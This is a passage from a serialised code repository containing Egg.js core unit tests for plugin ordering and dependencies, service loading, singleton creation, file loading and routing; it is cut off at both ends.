\\[], recursive: \\[a,b,c,a]/);\n  });\n\n  it('should throw when the dependent plugin not exist', async () => {\n    await assert.rejects(async () => {\n      app = createApp('plugin-dep-missing');\n      const loader = app.loader;\n      await loader.loadPlugin();\n      await loader.loadConfig();\n    }, /sequencify plugins has problem, missing: \\[a1], recursive: \\[]\\n\\t>> Plugin \\[a1] is disabled or missed, but is required by \\[c]/);\n  });\n\n  it('should log when enable plugin implicitly', async () => {\n    app = createApp('plugin-framework');\n    mm(app.console, 'info', (msg: string) => {\n      if (msg.startsWith('[egg:loader] eggPlugin is missing')) {\n        return;\n      }\n      // Following plugins will be enabled implicitly.\n      //   - eagleeye required by [hsfclient]\n      //   - configclient required by [hsfclient]\n      //   - diamond required by [hsfclient]\n      assert.equal(\n        msg,\n        'Following plugins will be enabled implicitly.\\n  - eagleeye required by [hsfclient]\\n  - configclient required by [hsfclient]\\n  - diamond required by [hsfclient]',\n      );\n    });\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n    // assert.deepEqual(loader.plugins 应该是都被开启的插件\n    for (const name in loader.plugins) {\n      assert.equal(loader.plugins[name].enable, true);\n    }\n  });\n\n  it('should enable dependencies implicitly but not optionalDependencies', async () => {\n    class Application extends EggCore {\n      get [Symbol.for('egg#eggPath')]() {\n        return getFilepath('plugin-dep-disable/framework');\n      }\n    }\n\n    app = createApp('plugin-dep-disable', {\n      Application,\n    });\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n    assert.equal(loader.plugins.a.enable, true);\n    assert.equal(loader.plugins.b.enable, true);\n    assert.equal(loader.plugins.d.enable, true);\n    assert.equal(loader.plugins.c.enable, true);\n    assert.equal(loader.plugins.e.enable, true);\n    assert.deepEqual(Object.keys(loader.plugins), ['b', 'e', 'c', 'a', 'd']);\n  });\n\n  it('should enable when not match env', async () => {\n    app = createApp('dont-load-plugin');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n    assert(!loader.plugins.testMe);\n    const plugins = loader.orderPlugins.map((plugin) => plugin.name);\n    assert(!plugins.includes('testMe'));\n  });\n\n  it('should complement infomation by config/plugin.js from plugin', async () => {\n    const baseDir = getFilepath('plugin');\n\n    mm(process.env, 'NODE_ENV', 'test');\n    const app1 = createApp('plugin');\n    const loader1 = app1.loader;\n    await loader1.loadPlugin();\n    await loader1.loadConfig();\n\n    // unittest 环境不开启\n    const keys1 = loader1.orderPlugins.map((plugin) => plugin.name).join(',');\n    assert(keys1.includes('b,c,d1,f,e'));\n    assert(!loader1.plugins.a1);\n\n    mm(process.env, 'NODE_ENV', 'development');\n    const app2 = createApp('plugin');\n    const loader2 = app2.loader;\n    await loader2.loadPlugin();\n    await loader2.loadConfig();\n    const keys2 = loader2.orderPlugins.map((plugin) => plugin.name).join(',');\n    assert(keys2.includes('d1,a1,b,c,f,e'));\n    assert.deepEqual(loader2.plugins.a1, {\n      enable: true,\n      name: 'a1',\n      dependencies: ['d1'],\n      optionalDependencies: [],\n      env: ['local', 'prod'],\n      path: path.join(baseDir, 'node_modules/a1'),\n      from: path.join(baseDir, 'config/plugin.js'),\n    });\n  });\n\n  it('should load when all plugins are disabled', async () => {\n    app = createApp('noplugin');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n    assert.equal(loader.orderPlugins.length, 0);\n  });\n\n  it('should throw when the dependent plugin is disabled', async () => {\n    await assert.rejects(async () => {\n      mm(process.env, 'EGG_SERVER_ENV', 'prod');\n      app = createApp('env-disable');\n      const loader = app.loader;\n      await loader.loadPlugin();\n      await loader.loadConfig();\n    }, /sequencify plugins has problem, missing: \\[b], recursive: \\[]\\n\\t>> Plugin \\[b] is disabled or missed, but is required by \\[a]/);\n  });\n\n  it('should pick path or package when override config', async () => {\n    app = createApp('plugin-path-package');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n    assert(!loader.plugins.session.package);\n    assert.equal(loader.plugins.session.path, getFilepath('plugin-path-package/session'));\n    assert(loader.plugins.hsfclient.package);\n    assert.equal(loader.plugins.hsfclient.path, getFilepath('plugin-path-package/node_modules/hsfclient'));\n  });\n\n  it('should resolve the realpath of plugin path', async () => {\n    fs.rmSync(getFilepath('realpath/node_modules/a'), {\n      force: true,\n      recursive: true,\n    });\n    fs.mkdirSync(getFilepath('realpath/node_modules'), { recursive: true });\n    fs.symlinkSync('../a', getFilepath('realpath/node_modules/a'), 'dir');\n    app = createApp('realpath');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    const plugin = loader.plugins.a;\n    assert.equal(plugin.name, 'a');\n    assert.equal(plugin.path, getFilepath('realpath/node_modules/a'));\n  });\n\n  it('should get the defining plugin path in every plugin', async () => {\n    class Application extends EggCore {\n      get [Symbol.for('egg#loader')]() {\n        return EggLoader;\n      }\n      get [Symbol.for('egg#eggPath')]() {\n        return getFilepath('plugin-from/framework');\n      }\n    }\n    app = createApp('plugin-from', {\n      Application,\n    });\n    const loader = app.loader;\n    await loader.loadPlugin();\n    assert.equal(loader.plugins.a.from, getFilepath('plugin-from/config/plugin.js'));\n    assert.equal(loader.plugins.b.from, getFilepath('plugin-from/framework/config/plugin.js'));\n  });\n\n  it('should load plugin.unittest.js override default', async () => {\n    mm(process.env, 'EGG_SERVER_ENV', 'unittest');\n    app = createApp('load-plugin-by-env');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    assert.equal(loader.allPlugins.a.enable, false);\n    assert.equal(loader.allPlugins.b.enable, true);\n  });\n\n  it('should load plugin.custom.js when env is custom', async () => {\n    mm(process.env, 'EGG_SERVER_ENV', 'custom');\n    app = createApp('load-plugin-by-env');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    assert.equal(loader.allPlugins.a.enable, true);\n    assert(!loader.allPlugins.b);\n    assert.equal(loader.allPlugins.c.enable, true);\n  });\n\n  it('should not load plugin.js when plugin.default.js exist', async () => {\n    mm(process.env, 'EGG_SERVER_ENV', 'unittest');\n    app = createApp('load-plugin-default');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    assert(!loader.allPlugins.a);\n    assert.equal(loader.allPlugins.b.enable, true);\n    assert.equal(loader.allPlugins.c.enable, true);\n  });\n\n  it('should warn when redefine plugin', async () => {\n    app = createApp('load-plugin-config-override');\n    mm(app.console, 'warn', (msg: string, name: string, targetPlugin: object, from: string) => {\n      assert.equal(msg, 'plugin %s has been defined that is %j, but you define again in %s');\n      assert.equal(name, 'zzz');\n      assert.deepEqual(targetPlugin, {\n        enable: true,\n        path: getFilepath('egg/plugins/zzz'),\n        name: 'zzz',\n        dependencies: [],\n        optionalDependencies: [],\n        env: [],\n        from: getFilepath('egg/config/plugin.js'),\n      });\n      assert.equal(from, getFilepath('load-plugin-config-override/config/plugin.js'));\n    });\n    const loader = app.loader;\n    await loader.loadPlugin();\n    assert.equal(loader.allPlugins.zzz.path, getFilepath('load-plugin-config-override/plugins/zzz'));\n  });\n\n  it('should support optionalDependencies', async () => {\n    app = createApp('plugin-optional-dependencies');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    assert.deepEqual(\n      loader.orderPlugins.map((p) => p.name),\n      ['session', 'zzz', 'package', 'e', 'b', 'a', 'f'],\n    );\n  });\n\n  it('should warn when redefine plugin', async () => {\n    app = createApp('redefine-plugin');\n    await app.loader.loadPlugin();\n  });\n\n  it('should not warn when not redefine plugin', async () => {\n    mm(process.env, 'EGG_SERVER_ENV', 'default');\n    app = createApp('no-redefine-plugin');\n    // const warn = spy();\n    // mm(app.console, 'warn', warn);\n    await app.loader.loadPlugin();\n    // assert(warn.callCount === 0);\n  });\n\n  it('should parse complex dependencies', async () => {\n    class Application extends EggCore {\n      get [Symbol.for('egg#eggPath')]() {\n        return getFilepath('plugin-complex-dependencies');\n      }\n    }\n    app = createApp('plugin-complex-dependencies', {\n      // use clean framework\n      Application,\n    });\n    const loader = app.loader;\n    await loader.loadPlugin();\n    assert.deepEqual(\n      loader.orderPlugins.map((p) => p.name),\n      ['zookeeper', 'ddcs', 'vip', 'zoneclient', 'rpc', 'ldc'],\n    );\n  });\n\n  it('should parse implicitly enable dependencies', async () => {\n    class Application extends EggCore {\n      get [Symbol.for('egg#eggPath')]() {\n        return getFilepath('plugin-implicit-enable-dependencies');\n      }\n    }\n    app = createApp('plugin-implicit-enable-dependencies', {\n      // use clean framework\n      Application,\n    });\n    const loader = app.loader;\n    await loader.loadPlugin();\n    assert.deepEqual(\n      loader.orderPlugins.map((p) => p.name),\n      ['zoneclient', 'ldc', 'rpcServer', 'tracelog', 'gateway'],\n    );\n\n    assert.equal(loader.allPlugins.zoneclient.enable, true);\n    assert.equal(loader.allPlugins.zoneclient.implicitEnable, true);\n    assert.deepEqual(loader.allPlugins.zoneclient.dependents, ['ldc']);\n  });\n\n  it('should load plugin from scope', async () => {\n    mm(process.env, 'EGG_SERVER_SCOPE', 'en');\n    app = createApp('scope');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    assert.equal(loader.allPlugins.a.enable, false);\n  });\n\n  it('should load plugin from scope and default env', async () => {\n    mm(process.env, 'EGG_SERVER_ENV', 'default');\n    mm(process.env, 'EGG_SERVER_SCOPE', 'en');\n    app = createApp('scope-env');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    assert.equal(loader.allPlugins.a.enable, false);\n    assert.equal(loader.allPlugins.b.enable, true);\n    assert(!loader.allPlugins.c);\n    assert(!loader.allPlugins.d);\n  });\n\n  it('should load plugin from scope and prod env', async () => {\n    mm(process.env, 'EGG_SERVER_ENV', 'prod');\n    mm(process.env, 'EGG_SERVER_SCOPE', 'en');\n    app = createApp('scope-env');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    assert.equal(loader.allPlugins.a.enable, false);\n    assert.equal(loader.allPlugins.b.enable, false);\n    assert.equal(loader.allPlugins.c.enable, false);\n    assert.equal(loader.allPlugins.d.enable, true);\n  });\n\n  it('should not load optionalDependencies and their dependencies', async () => {\n    mm(process.env, 'EGG_SERVER_ENV', 'default');\n    app = createApp('plugin-complex-deps');\n    const loader = app.loader;\n    await loader.loadPlugin();\n    assert.equal(loader.allPlugins.tracelog.enable, true);\n    assert.equal(loader.allPlugins.gw.enable, false);\n    assert.equal(loader.allPlugins.rpcServer.enable, false);\n  });\n\n  it('should load plugin with duplicate plugin dir from eggPaths', async () => {\n    class BaseApplication extends EggCore {\n      get [Symbol.for('egg#loader')]() {\n        return EggLoader;\n      }\n      get [Symbol.for('egg#eggPath')]() {\n        return getFilepath(path.join('plugin-duplicate'));\n      }\n    }\n\n    class Application extends BaseApplication {\n      get [Symbol.for('egg#loader')]() {\n        return EggLoader;\n      }\n      get [Symbol.for('egg#eggPath')]() {\n        return getFilepath(path.join('plugin-duplicate', 'node_modules', '@scope', 'b'));\n      }\n    }\n\n    const baseDir = getFilepath('plugin-duplicate');\n    app = createApp(path.join('plugin-duplicate', 'release'), {\n      Application,\n    });\n    const loader = app.loader;\n    await loader.loadPlugin();\n    await loader.loadConfig();\n\n    assert.deepEqual(loader.plugins['a-duplicate'], {\n      enable: true,\n      name: 'a-duplicate',\n      dependencies: [],\n      optionalDependencies: ['a'],\n      env: [],\n      package: '@scope/a',\n      path: path.join(baseDir, 'node_modules', '@scope', 'a'),\n      from: path.join(baseDir, 'release', 'config', 'plugin.js'),\n    });\n  });\n});\n"
  },
  {
    "path": "packages/core/test/loader/mixin/load_service.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport path from 'node:path';\n\nimport { request } from '@eggjs/supertest';\nimport { mm } from 'mm';\nimport { describe, it, afterEach, beforeAll } from 'vitest';\n\nimport { createApp, getFilepath, type Application } from '../../helper.js';\n\ndescribe('test/loader/mixin/load_service.test.ts', () => {\n  let app: Application;\n  afterEach(mm.restore);\n  afterEach(() => app.close());\n\n  it('should load from application and plugin', async () => {\n    app = createApp('plugin');\n    await app.loader.loadPlugin();\n    await app.loader.loadConfig();\n    await app.loader.loadApplicationExtend();\n    await app.loader.loadCustomApp();\n    await app.loader.loadService();\n    await app.loader.loadController();\n    await app.loader.loadRouter();\n    await app.loader.loadMiddleware();\n    await app.ready();\n    console.log(app.serviceClasses);\n    assert(app.serviceClasses.foo);\n    assert(app.serviceClasses.foo2);\n    assert(!app.serviceClasses.bar1);\n    assert(app.serviceClasses.bar2);\n    assert(app.serviceClasses.foo4);\n\n    await request(app.callback())\n      .get('/')\n      .expect({\n        foo2: 'foo2',\n        foo3: 'foo3',\n        foo4: true,\n        foo5: true,\n        foo: true,\n        bar2: true,\n      })\n      .expect(200);\n  });\n\n  it('should throw when dulplicate', async () => {\n    await assert.rejects(async () => {\n      app = createApp('service-override');\n      await app.loader.loadPlugin();\n      await app.loader.loadConfig();\n      await app.loader.loadService();\n    }, /can't overwrite property 'foo'/);\n  });\n\n  it('should check es6', async () => {\n    app = createApp('services_loader_verify');\n    await app.loader.loadPlugin();\n    await app.loader.loadConfig();\n    await app.loader.loadApplicationExtend();\n    await app.loader.loadService();\n    assert('foo' in app.serviceClasses);\n    assert('bar' in app.serviceClasses.foo);\n    assert('bar1' in app.serviceClasses.foo);\n    assert('aa' in app.serviceClasses.foo);\n  });\n\n  it('should each request has unique ctx', async () => {\n    app = createApp('service-unique');\n    await app.loader.loadPlugin();\n    await app.loader.loadConfig();\n    await app.loader.loadApplicationExtend();\n    await app.loader.loadCustomApp();\n    await app.loader.loadService();\n    await app.loader.loadController();\n    await app.loader.loadRouter();\n    await app.loader.loadMiddleware();\n\n    await request(app.callback()).get('/same?t=1').expect('true').expect(200);\n\n    await request(app.callback()).get('/same?t=2').expect('true').expect(200);\n  });\n\n  it('should extend app.Service', async () => {\n    app = createApp('extends-app-service');\n    await app.loader.loadPlugin();\n    await app.loader.loadConfig();\n    await app.loader.loadApplicationExtend();\n    await app.loader.loadCustomApp();\n    await app.loader.loadService();\n    await app.loader.loadController();\n    await app.loader.loadRouter();\n    await app.loader.loadMiddleware();\n\n    const res = await request(app.callback()).get('/user').expect(200);\n    assert.equal(res.body.user, '123mock');\n  });\n\n  describe('subdir', () => {\n    it('should load 2 level dir', async () => {\n      mm(process.env, 'NO_DEPRECATION', '*');\n      app = createApp('subdir-services');\n      await app.loader.loadPlugin();\n      await app.loader.loadConfig();\n      await app.loader.loadApplicationExtend();\n      await app.loader.loadCustomApp();\n      await app.loader.loadService();\n      await app.loader.loadController();\n      await app.loader.loadRouter();\n      await app.loader.loadMiddleware();\n\n      await request(app.callback())\n        .get('/')\n        .expect({\n          user: {\n            uid: '123',\n          },\n          cif: {\n            uid: '123cif',\n            cif: true,\n          },\n          bar1: {\n            name: 'bar1name',\n            bar: 'bar1',\n          },\n          bar2: {\n            name: 'bar2name',\n            bar: 'bar2',\n          },\n          'foo.subdir2.sub2': {\n            name: 'bar3name',\n            bar: 'bar3',\n          },\n          subdir11bar: {\n            bar: 'bar111',\n          },\n          ok: {\n            ok: true,\n          },\n          cmd: {\n            cmd: 'hihi',\n            method: 'GET',\n            url: '/',\n          },\n          serviceIsSame: true,\n          oldStyle: '/',\n        })\n        .expect(200);\n    });\n  });\n\n  describe('service in other directory', () => {\n    beforeAll(async () => {\n      const baseDir = getFilepath('other-directory');\n      app = createApp('other-directory');\n      await app.loader.loadCustomApp();\n      await app.loader.loadService({\n        directory: path.join(baseDir, 'app/other-service'),\n      });\n      return app.ready();\n    });\n\n    it('should load', () => {\n      console.log(app.serviceClasses);\n      assert(app.serviceClasses.user);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/core/test/singleton.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport { scheduler } from 'node:timers/promises';\n\nimport { describe, it, afterEach } from 'vitest';\n\nimport { Singleton } from '../src/singleton.js';\n\nclass DataService {\n  config: any;\n  constructor(config: any) {\n    this.config = config;\n  }\n\n  async query() {\n    return {};\n  }\n}\n\nfunction create(config: any) {\n  return new DataService(config);\n}\n\nasync function asyncCreate(config: any) {\n  await scheduler.wait(10);\n  return new DataService(config);\n}\n\ndescribe('test/singleton.test.ts', () => {\n  afterEach(() => {\n    delete (DataService as any).prototype.createInstance;\n    delete (DataService as any).prototype.createInstanceAsync;\n  });\n\n  describe('sync singleton creation tests', () => {\n    it('should init with client', async () => {\n      const name = 'dataService';\n\n      const clients = [{ foo: 'bar' }];\n      for (const client of clients) {\n        const app: any = { config: { dataService: { client } } };\n        const singleton = new Singleton({\n          name,\n          app,\n          create,\n        });\n        singleton.init();\n        assert(app.dataService instanceof DataService);\n        assert.equal(app.dataService.config.foo, 'bar');\n        assert.equal(typeof app.dataService.createInstance, 'function');\n      }\n    });\n\n    it('should init with clients', async () => {\n      const name = 'dataService';\n\n      const clients = {\n        first: { foo: 'bar1' },\n        second: { foo: 'bar2' },\n      };\n\n      const app: any = { config: { dataService: { clients } } };\n      const singleton = new Singleton({\n        name,\n        app,\n        create,\n      });\n      singleton.init();\n      assert(app.dataService instanceof Singleton);\n      assert.equal(app.dataService.get('first').config.foo, 'bar1');\n      assert.equal(app.dataService.get('second').config.foo, 'bar2');\n      assert.equal(typeof app.dataService.createInstance, 'function');\n    });\n\n    it('should client support default', async () => {\n      const app: any = {\n        config: {\n          dataService: {\n            client: { foo: 'bar' },\n            default: { foo1: 'bar1' },\n          },\n        },\n      };\n      const name = 'dataService';\n\n      const singleton = new Singleton({\n        name,\n        app,\n        create,\n      });\n      singleton.init();\n      assert(app.dataService instanceof DataService);\n      assert.equal(app.dataService.config.foo, 'bar');\n      assert.equal(app.dataService.config.foo1, 'bar1');\n      assert.equal(typeof app.dataService.createInstance, 'function');\n    });\n\n    it('should clients support default', async () => {\n      const app: any = {\n        config: {\n          dataService: {\n            clients: {\n              first: { foo: 'bar1' },\n              second: {},\n            },\n            default: { foo: 'bar' },\n          },\n        },\n      };\n      const name = 'dataService';\n\n      const singleton = new Singleton({\n        name,\n        app,\n        create,\n      });\n      singleton.init();\n      assert(app.dataService instanceof Singleton);\n      assert(app.dataService.get('first').config.foo === 'bar1');\n      assert(app.dataService.getSingletonInstance('first').config.foo === 'bar1');\n      assert(app.dataService.get('first'), app.dataService.getSingletonInstance('first'));\n      assert(app.dataService.get('second').config.foo === 'bar');\n      assert(app.dataService.getSingletonInstance('second').config.foo === 'bar');\n      assert(app.dataService.get('second'), app.dataService.getSingletonInstance('second'));\n      assert(typeof app.dataService.createInstance === 'function');\n    });\n\n    it('should createInstance without client/clients support default', async () => {\n      const app: any = {\n        config: {\n          dataService: {\n            default: { foo: 'bar' },\n          },\n        },\n      };\n      const name = 'dataService';\n\n      const singleton = new Singleton({\n        name,\n        app,\n        create,\n      });\n      singleton.init();\n      assert(app.dataService === singleton);\n      assert(app.dataService instanceof Singleton);\n      app.dataService = app.dataService.createInstance({ foo1: 'bar1' });\n      assert(app.dataService instanceof DataService);\n      assert(app.dataService.config.foo1 === 'bar1');\n      assert(app.dataService.config.foo === 'bar');\n    });\n\n    it('should work with unextensible', async () => {\n      function create(config: any) {\n        const d = new DataService(config);\n        Object.preventExtensions(d);\n        return d;\n      }\n      const app: any = {\n        config: {\n          dataService: {\n            client: { foo: 'bar' },\n            default: { foo: 'bar' },\n          },\n        },\n      };\n      const name = 'dataService';\n\n      const singleton = new Singleton({\n        name,\n        app,\n        create,\n      });\n      singleton.init();\n      const dataService = await app.dataService.createInstanceAsync({\n        foo1: 'bar1',\n      });\n      assert(dataService instanceof DataService);\n      assert(dataService.config.foo1 === 'bar1');\n      assert(dataService.config.foo === 'bar');\n    });\n\n    it('should work with frozen', async () => {\n      function create(config: any) {\n        const d = new DataService(config);\n        Object.freeze(d);\n        return d;\n      }\n      const app: any = {\n        config: {\n          dataService: {\n            client: { foo: 'bar' },\n            default: { foo: 'bar' },\n          },\n        },\n      };\n      const name = 'dataService';\n\n      const singleton = new Singleton({\n        name,\n        app,\n        create,\n      });\n      singleton.init();\n\n      const dataService = await app.dataService.createInstanceAsync({\n        foo1: 'bar1',\n      });\n      assert(dataService instanceof DataService);\n      assert(dataService.config.foo1 === 'bar1');\n      assert(dataService.config.foo === 'bar');\n    });\n\n    it('should work with no prototype and frozen', async () => {\n      let warn = false;\n      // oxlint-disable-next-line unicorn/consistent-function-scoping\n      function create() {\n        const d = Object.create(null);\n        Object.freeze(d);\n        return d;\n      }\n      const app: any = {\n        config: {\n          dataService: {\n            client: { foo: 'bar' },\n            default: { foo: 'bar' },\n          },\n        },\n        coreLogger: {\n          warn(_msg: string, name?: string) {\n            if (name) {\n              assert.equal(name, 'dataService');\n              warn = true;\n            }\n          },\n        },\n      };\n      const name = 'dataService';\n\n      const singleton = new Singleton({\n        name,\n        app,\n        create,\n      });\n      singleton.init();\n\n      assert(!app.dataService.createInstance);\n      assert(!app.dataService.createInstanceAsync);\n      assert(warn);\n    });\n\n    it('should return client name when create', async () => {\n      let success = true;\n      const name = 'dataService';\n      const clientName = 'customClient';\n      function create(_config: any, _app: any, client: string) {\n        if (client !== clientName) {\n          success = false;\n        }\n      }\n      const app: any = {\n        config: {\n          dataService: {\n            clients: {\n              customClient: { foo: 'bar1' },\n            },\n          },\n        },\n      };\n      const singleton = new Singleton({\n        name,\n        app,\n        create,\n      });\n      singleton.init();\n\n      assert(success);\n    });\n  });\n\n  describe('async singleton creation tests', () => {\n    it('should init with client', async () => {\n      const name = 'dataService';\n\n      const clients = [{ foo: 'bar' }];\n      for (const client of clients) {\n        const app: any = { config: { dataService: { client } } };\n        const singleton = new Singleton({\n          name,\n          app,\n          create: asyncCreate,\n        });\n        await singleton.init();\n        assert(app.dataService instanceof DataService);\n        assert(app.dataService.config.foo === 'bar');\n        assert(typeof app.dataService.createInstance === 'function');\n      }\n    });\n\n    it('should init with clients', async () => {\n      const name = 'dataService';\n\n      const clients = {\n        first: { foo: 'bar1' },\n        second: { foo: 'bar2' },\n      };\n\n      const app: any = { config: { dataService: { clients } } };\n      const singleton = new Singleton({\n        name,\n        app,\n        create: asyncCreate,\n      });\n      await singleton.init();\n      assert(app.dataService instanceof Singleton);\n      assert(app.dataService.get('first').config.foo === 'bar1');\n      assert(app.dataService.get('second').config.foo === 'bar2');\n      assert(typeof app.dataService.createInstance === 'function');\n    });\n\n    it('should createInstanceAsync without client/clients support default', async () => {\n      const app: any = {\n        config: {\n          dataService: {\n            default: { foo: 'bar' },\n          },\n        },\n      };\n      const name = 'dataService';\n\n      const singleton = new Singleton({\n        name,\n        app,\n        create: asyncCreate,\n      });\n      await singleton.init();\n      assert(app.dataService === singleton);\n      assert(app.dataService instanceof Singleton);\n      app.dataService = await app.dataService.createInstanceAsync({\n        foo1: 'bar1',\n      });\n      assert(app.dataService instanceof DataService);\n      assert(app.dataService.config.foo1 === 'bar1');\n      assert(app.dataService.config.foo === 'bar');\n    });\n\n    it('should createInstanceAsync throw error', async () => {\n      const app: any = {\n        config: {\n          dataService: {\n            default: { foo: 'bar' },\n          },\n        },\n      };\n      const name = 'dataService';\n\n      const singleton = new Singleton({\n        name,\n        app,\n        create: asyncCreate,\n      });\n      await singleton.init();\n      assert.equal(app.dataService, singleton);\n      assert(app.dataService instanceof Singleton);\n      await assert.rejects(async () => {\n        await app.dataService.createInstance({ foo1: 'bar1' });\n      }, /\\[egg\\/core\\/singleton\\] dataService only support asynchronous creation, please use createInstanceAsync$/);\n    });\n\n    it('should return client name when create', async () => {\n      let success = true;\n      const name = 'dataService';\n      const clientName = 'customClient';\n\n      async function _create(_config: any, _app: any, client: string) {\n        if (client !== clientName) {\n          success = false;\n        }\n      }\n      const app: any = {\n        config: {\n          dataService: {\n            clients: {\n              customClient: { foo: 'bar1' },\n            },\n          },\n        },\n      };\n      const singleton = new Singleton({\n        name,\n        app,\n        create: _create,\n      });\n\n      await singleton.init();\n\n      assert(success);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/core/test/support-typescript.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { request } from '@eggjs/supertest';\nimport { describe, it, beforeAll } from 'vitest';\n\n// @ts-ignore\nimport { Application } from './fixtures/egg-esm/index.js';\nimport { getFilepath } from './helper.js';\n\ndescribe('test/support-typescript.test.ts', () => {\n  let app: Application;\n  beforeAll(async () => {\n    app = new Application({\n      baseDir: getFilepath('helloworld-ts'),\n      type: 'application',\n    });\n    await app.loader.loadAll();\n  });\n\n  it('should ignore *.js when *.ts same file exists', async () => {\n    const res = await request(app.callback()).get('/');\n    assert.equal(res.status, 200);\n    assert.equal(res.text, 'Hello World');\n  });\n});\n"
  },
  {
    "path": "packages/core/test/utils/index.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport path from 'node:path';\n\nimport { mm } from 'mm';\nimport { describe, it, afterEach } from 'vitest';\n\nimport utils from '../../src/utils/index.js';\nimport { getFilepath } from '../helper.js';\n\ndescribe('test/utils/index.test.ts', () => {\n  afterEach(mm.restore);\n\n  describe('resolvePath', () => {\n    const baseDir = getFilepath('loadfile');\n\n    it('should load object', async () => {\n      const filepath1 = utils.resolvePath(path.join(baseDir, 'object.js'));\n      assert(filepath1);\n      const filepath2 = utils.resolvePath(path.join(baseDir, 'object'));\n      assert(filepath2, filepath1);\n      assert(filepath2.endsWith('.js'), filepath2);\n    });\n  });\n\n  describe('loadFile on commonjs', () => {\n    const baseDir = getFilepath('loadfile');\n\n    it('should load object', async () => {\n      const result = await utils.loadFile(path.join(baseDir, 'object.js'));\n      assert.equal(result.a, 1);\n    });\n\n    it('should load object2.mjs', async () => {\n      const result = await utils.loadFile(path.join(baseDir, 'object2.mjs'));\n      assert.equal(result.a, 1);\n    });\n\n    it('should load null', async () => {\n      const result = await utils.loadFile(path.join(baseDir, 'null.js'));\n      assert.equal(result, null);\n    });\n\n    it('should load null', async () => {\n      const result = await utils.loadFile(path.join(baseDir, 'zero.js'));\n      assert.equal(result, 0);\n    });\n\n    it('should load es module', async () => {\n      const result = await utils.loadFile(path.join(baseDir, 'es-module.js'));\n      assert(result.fn);\n    });\n\n    it('should load es module with default', async () => {\n      const result = await utils.loadFile(path.join(baseDir, 'es-module-default.js'));\n      assert(result.fn);\n    });\n\n    it('should load es module with default = null', async () => {\n      const result = await utils.loadFile(path.join(baseDir, 'es-module-default-null.js'));\n      assert.equal(result, null);\n    });\n\n    it('should load es module with default = async function', async () => {\n      const result = await utils.loadFile(path.join(baseDir, 'es-module-default-async.js'));\n      assert(typeof result().then === 'function');\n    });\n\n    it('should load es module with default = function returning a promise', async () => {\n      const result = await utils.loadFile(path.join(baseDir, 'es-module-default-promise.js'));\n      assert(typeof result().then === 'function');\n    });\n\n    it('should load no js file', async () => {\n      const buf = await utils.loadFile(path.join(baseDir, 'no-js.yml'));\n      let result = buf.toString();\n      if (process.platform === 'win32') {\n        result = result.replaceAll('\\r\\n', '\\n');\n      }\n      assert.equal(result, '---\\nmap:\\n  a: 1\\n  b: 2\\n');\n    });\n  });\n\n  describe('loadFile on esm', () => {\n    const baseDir = getFilepath('loadfile-esm');\n\n    it('should load object', async () => {\n      const result = await utils.loadFile(path.join(baseDir, 'object.js'));\n      assert.equal(result.a, 1);\n      const result2 = await utils.loadFile(utils.resolvePath(path.join(baseDir, 'object')));\n      assert.equal(result2.a, 1);\n      assert.equal(result2, result);\n    });\n\n    it('should load object2.cjs', async () => {\n      const result = await utils.loadFile(path.join(baseDir, 'object2.cjs'));\n      assert.equal(result.a, 1);\n      const result2 = await utils.loadFile(utils.resolvePath(path.join(baseDir, 'object2.cjs')));\n      assert.equal(result2.a, 1);\n      assert.equal(result2, result);\n    });\n\n    it('should load null', async () => {\n      const result = await utils.loadFile(path.join(baseDir, 'null.js'));\n      assert.equal(result, null);\n    });\n\n    it('should load null', async () => {\n      const result = await utils.loadFile(path.join(baseDir, 'zero.js'));\n      assert.equal(result, 0);\n    });\n\n    it('should load es module', async () => {\n      const result = await utils.loadFile(path.join(baseDir, 'es-module.js'));\n      assert(result.fn);\n    });\n\n    it('should load es module with default', async () => {\n      const result = await utils.loadFile(path.join(baseDir, 'es-module-default.js'));\n      assert(result.fn);\n    });\n\n    it('should load es module with default = null', async () => {\n      const result = await utils.loadFile(path.join(baseDir, 'es-module-default-null.js'));\n      assert.equal(result, null);\n    });\n\n    it('should load es module with default = async function', async () => {\n      const result = await utils.loadFile(path.join(baseDir, 'es-module-default-async.js'));\n      assert(typeof result().then === 'function');\n    });\n\n    it('should load es module with default = function returning a promise', async () => {\n      const result = await utils.loadFile(path.join(baseDir, 'es-module-default-promise.js'));\n      assert(typeof result().then === 'function');\n    });\n\n    it('should load no js file', async () => {\n      const buf = await utils.loadFile(path.join(baseDir, 'no-js.yml'));\n      let result = buf.toString();\n      if (process.platform === 'win32') {\n        result = result.replaceAll('\\r\\n', '\\n');\n      }\n      assert.equal(result, '---\\nmap:\\n  a: 1\\n  b: 2\\n');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/core/test/utils/router.test.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { request } from '@eggjs/supertest';\nimport { describe, it, beforeAll, afterAll } from 'vitest';\n\nimport { createApp, type Application } from '../helper.js';\n\ndescribe('test/utils/router.test.ts', () => {\n  let app: Application;\n  beforeAll(async () => {\n    app = createApp('router-app');\n    await app.loader.loadAll();\n    await app.ready();\n  });\n  afterAll(() => app.close());\n\n  describe('router.resources', () => {\n    describe('normal', () => {\n      it('should GET /posts', () => {\n        return request(app.callback()).get('/posts').expect(200).expect('index');\n      });\n\n      it('should GET /posts/new', () => {\n        return request(app.callback()).get('/posts/new').expect(200).expect('new');\n      });\n\n      it('should POST /posts', () => {\n        return request(app.callback()).post('/posts').expect(200).expect('create');\n      });\n\n      it('should GET /posts/:id', () => {\n        return request(app.callback()).get('/posts/123').expect(200).expect('show - 123');\n      });\n\n      it('should GET /posts/:id/edit', () => {\n        return 